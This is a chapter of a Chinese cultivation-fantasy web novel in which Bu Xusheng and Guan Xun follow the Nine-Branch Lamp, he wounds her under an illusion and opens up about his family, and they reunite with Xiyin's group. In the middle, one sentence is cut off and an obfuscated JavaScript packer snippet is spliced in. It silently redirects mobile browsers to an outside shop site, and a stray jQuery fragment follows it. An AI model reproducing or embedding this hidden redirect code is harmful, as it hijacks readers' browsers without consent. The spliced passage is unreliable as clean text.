“声声姐,怎么了?”官浔见步虚声迟迟未动,有些纳闷。

    步虚声眉头微皱,看着眼前燃烧的灯火,心里有些疑惑。

    “不知道为何,九枝灯没有任何动静。”

    “也许是因为今日的情形与三界大比时有所不同?或者是因为你当日做了什么举动,九枝灯才给你指引的。”官浔猜测道。

    步虚声细细回忆起当日的场景,仍是一头雾水。

    “当日也是如此时一般一片白,我等得有些无聊了,然后青烟就飘了过来。”她叹了口气。

    “那我们再等等吧,也许一会儿九枝灯就会给我们指引了。”官浔安慰道。

    过了一会儿,九枝灯的灯火仍是静静燃着,没有任何反应。

    “小浔,将你随身带着的匕首借我一用。”

    官浔被吓了一跳,“声声姐,你要匕首做什么?”

    步虚声淡淡道:“九枝灯有灵,也许感应到主人有危险就会有所反应。我想试着将血滴上去,或许可行。”

    他们此刻十分被动,官浔也想不出其他法子,无奈下只好将匕首递给步虚声。

    步虚声在手指上划了一道小口,血顺着滴在了九枝灯上。

    火焰微微一颤。

    步虚声眼前突然一黑,只能微弱地看见一个人影。她微微眯眼,想要看清楚,却仍是徒劳。

    她心念一动,犹豫开口道:“希音?”

    然而那个人影并没有回应她,眼前的场景又恢复了正常。

    “声声姐?”官浔疑惑道。

    步虚声正欲开口解释,却看见九枝灯燃烧的青烟正向一个方向飘去。

    “小浔,我知道怎么走了。”

    她有些奇怪,将手轻放在自己的心口处。

    是错觉吗?刚刚那一瞬感觉自己的胸口热热的。

    官浔的手轻轻扯住了她的袖子,深吸一口气。

    “声声姐,我们走吧。”

    步虚声和官浔平日里话都不算多,一路上更多时候是沉默着前进。偶尔步虚声会问问官浔现在看见了什么,见官浔没什么异常,便又继续向前走。

    于是两人就跟着青烟的方向走了约三刻钟。

    步虚声感觉到官浔的步子迈得越来越小。

    “小浔,你怎么了?”

    官浔停下脚步,呆呆地看着前方,没有回答她。

    步虚声意识到不对劲,转过身来想要仔细看官浔的情况。

    她上前一步,见官浔瞳孔涣散,眉宇间浸满了痛苦,显然是又进入了幻境。

    她伸出手,摇了摇官浔的手。

    “小浔,你——”

    下一秒,官浔一掌打来。

    步虚声没料到他会突然出手,这一掌甚至动用了灵力。

    她呕出一口血,被那一掌的威力震得连连后退几步。

    没有时间给她想其他法子了,她心一横,一巴掌甩在官浔的脸上。

    “嘶——”官浔蓦地回过神来,看见眼前的步虚声。

    “声声姐,你怎么了?”他想起方才的幻境,颤抖地问道,“是、是我伤的吗?”

    步虚声擦了擦嘴边的血迹,随意地抹在了白衣上。

    “没事,小伤而已。”

    她见官浔神智已恢复,转身准备继续走。

    “走吧,咱们得快些了。”

    官浔低着头不吭声,闷闷地跟在她身后。

    就这样沉默着走了好一会儿,步虚声见官浔仍是一言不发,想了想还是问道:

    “小浔,你可以告诉我,你方才看见了什么吗?”

    官浔沉默了半晌,才低声道:“我六岁那年的紫宸殿。”

    步虚声见他话只说了一半,也不急着开口,只安静地等着。

    官浔深吸一口气,继续道:“六岁那年母后告诉我,我要被送往千秋堂修炼了——其实我很早就知道父皇和母后待我并不亲密,可我不知道原因,以为是我做错了什么。”

    他顿了顿,“听闻与我一母同胞的太子在六岁时已能写诗作文,七岁时便获准朝会随侍。而我幼时除了基本的识文断字什么都未学过,也未曾同其他皇子一起学习,那时我以为是因为我天资平平。直到那日我才明白,原来我早已被皇室抛弃了。”

    “你反抗过。”步虚声轻声道。

    官浔点点头。

    “我哭过闹过,我跑到父皇的紫宸殿长跪不起。他们想要强行将我带走,我不愿意,他们便打晕了我,再醒来时我就到了千秋堂。”

    官浔微微抿着唇,似乎在压抑着自己的情感。

    “晕过去前我看见了父皇和母后,还有我的皇兄,他们就站在那里看着我……”他闭上眼,声音低沉。

    “那是我最后一次见到他们。”

    “你恨他们吗?”步虚声问道。

    官浔一愣。

    他是皇子,他的父母——为他做下决定的人,是大晏最尊贵的人。所以从来没有人会像步虚声这样直截了当地问出口。

    “……我不知道。”

    步虚声点点头。

    恨是一种很复杂的情感,她不懂如何才能叫做恨。但她想,若是不在意就不会恨,只有心里还在意,才会让恨意慢慢滋长。

    “你想见他们吗?”

    官浔苦笑。

    许是因为太小就离开了父母兄弟,他向来有什么话都憋在心里。

    但步虚声不一样,她的行为举止都是基于对话本和旁人的模仿,所以她有什么疑惑就要问出来,直到得到答案。

    这么多年来,像这样触及到他心底最深处的痛苦的问题,除了步虚声再没有第二个人问过了。

    但官浔不排斥回答步虚声的问题。他甚至想着,如果他的家人也能像步虚声这般有什么说什么就好了,这样他也不会直到被送去千秋堂的前一日才知道自己的命运。

    “也许吧……”他闷闷道。

    “那就去见他们吧。”步虚声随意道,仿佛见大晏皇帝就像见到她一般简单。

    “什么?”官浔愣愣问道。

    “等我们处理完五里的事情,回九道盟前,你去见见他们。”

    “如果,我是说如果,”官浔低下头,预想着最坏的情况,“他们不想见我,或者已经忘了有我这么个人怎么办?”

    步虚声歪头,似乎真的仔细在想这个问题。

    官浔忽然意识到自己不知不觉说了许多他埋在心里的话,有些羞涩。

    “算了,当我没说——”

    “那就不要他们了。”步虚声认真道。

    “我没有记忆,所以我也不知道我有没有家人,也许有,也许没有。我也不知道他们对我好不好,但我不在乎。”

    步虚声耸耸肩,她很少做出这么有“人味儿”的举动,官浔看着她倒有几分希音平日里的样子。

    “因为我不需要他们,”步虚声接着道,“我和你们在一起也很开心。即使没有记忆、没有家人,我也很开心。”

    “所以小浔,若是你和他们待在一起不开心,就去找你真正的家人。”

    步虚声说完,转过头来有些紧张地看着官浔。

    她知道话本里对家人的态度可不是这样,她只是怎么想就怎么说了。但她有些担心官浔会认为她这番话是胡言乱语,毕竟她没有家人,也不懂真正意义上的开心是怎样的状态。

    “声声姐,”官浔破天荒地笑了,平时总是板着的脸此刻一笑,才看起来真正像个少年人。

    “若是朝堂上的那些老学

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666450|203044||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    究听见你这番话,定是要狠狠参你一本目无尊卑,不知礼法。”

    步虚声也笑了。

    官浔眼神一瞥,指着九枝灯问道:“声声姐,这火焰是不是变旺了?”

    步虚声点头,“看来我们得走快些了。”

    步虚声转身,朝着青烟的方向走去。官浔顿了顿,没有立即跟上去。

    此刻他神智已恢复,再也看不见大晏皇宫了。

    方才步虚声说的话,真的会有可能变成现实吗?

    他迄今为止的十六年,都在模仿着自己已快忘了样貌的家人,学着他们知礼仪,学着他们明大义。所以才会活成这番小小年纪却看起来极为古板老成的模样,还经常被希音嘲笑假正经。

    如果他不把他们当作家人了,那他还有家吗?

    “小浔,”步虚声见他迟迟未跟上来,朝他挥了挥手,“快跟上来,也许咱们很快就会见到南大哥他们了。”

    官浔放下了脑袋里纷杂的思绪,快步跟了上去。

    两人又走了一会儿,终于在不远处见到了模模糊糊的人影。

    步虚声将他护在身后,小声提醒他小心。

    其中一人听见声响,转过身来。

    “声声!”

    几乎是一瞬间,希音就闪了过来,将步虚声扯入了怀中。

    也许是感知到他这个拥抱背后不寻常的情感,步虚声没有推开他,只是静静地站着。

    围观的众人却被吓了一跳,尤其是与他们接触不过几日的江离。

    希音这人单论容貌而言,其实是胜过南之木的。只是因为这张从不饶人的嘴,以及莫名其妙就惹上的一身桃花债,让他的人气不仅无法比过南之木,近来也隐隐有被在三界大比大放异彩的官浔压过的势头。

    但希音终归是讨女孩子们欢喜的,他一笑,便让人生不出半分脾气了。可希音顶多说些花言巧语,以达到自己的目的,对女子从不做出半分逾矩的举动。即使是面对他极为感兴趣的步虚声,他也很少动手动脚。

    所以此刻他与步虚声的拥抱,将其他几人都惊了一下。虽说他们修行人士行走江湖并不在意那些繁文缛节,但未定亲的男女之间有这样亲密的举动,到底也是少见的。

    感知到其他几人的目光,希音红着耳朵松开了步虚声,然后转移话题道:“声声,你是怎么找到我们的?”

    步虚声垂眸,微微蹙眉看着九枝灯,九枝灯此刻的灯火又复归平静,只徐徐燃烧着。

    “九枝灯带我找到了你……们。”

    语气听着有几分疑惑。

    希音顺着她的目光看过去,却看见了她衣袖上的血迹。

    幻境里的那一幕又浮现在眼前,他猛地看向步虚声,声音微微颤抖。

    “你受伤了?谁伤的你?”

    许是语气过于急切,步虚声一怔,下意识地回道:“小伤而已,没什么大碍的。”

    官浔抿了抿唇,开口道:“是我方才打伤了声声姐——我不是故意的,只是……”

    希音本能性地皱了皱眉,眼神陡然一冷。但那种情绪也只有一瞬,他很快就意识到官浔应是因为幻境才对步虚声下手。

    但他还是很不爽,于是“哼”了一声,“你小子怎么这么没有定力。”

    步虚声一巴掌拍过去。

    “小浔不是故意的,而且我也没事。我都没说什么,你瞎出什么头。”

    南之木见大家终于汇合,也放下心来。

    他走过来,正色道:“如今我们便要想办法找到罗愿了,你们有什么想法?”

    步虚声和希音还未开口,众人耳边却传来罗愿的声音。

    “诸位若是帮在下一个忙,在下不仅会见诸位,还会保诸位余生有享不尽的富贵荣华。”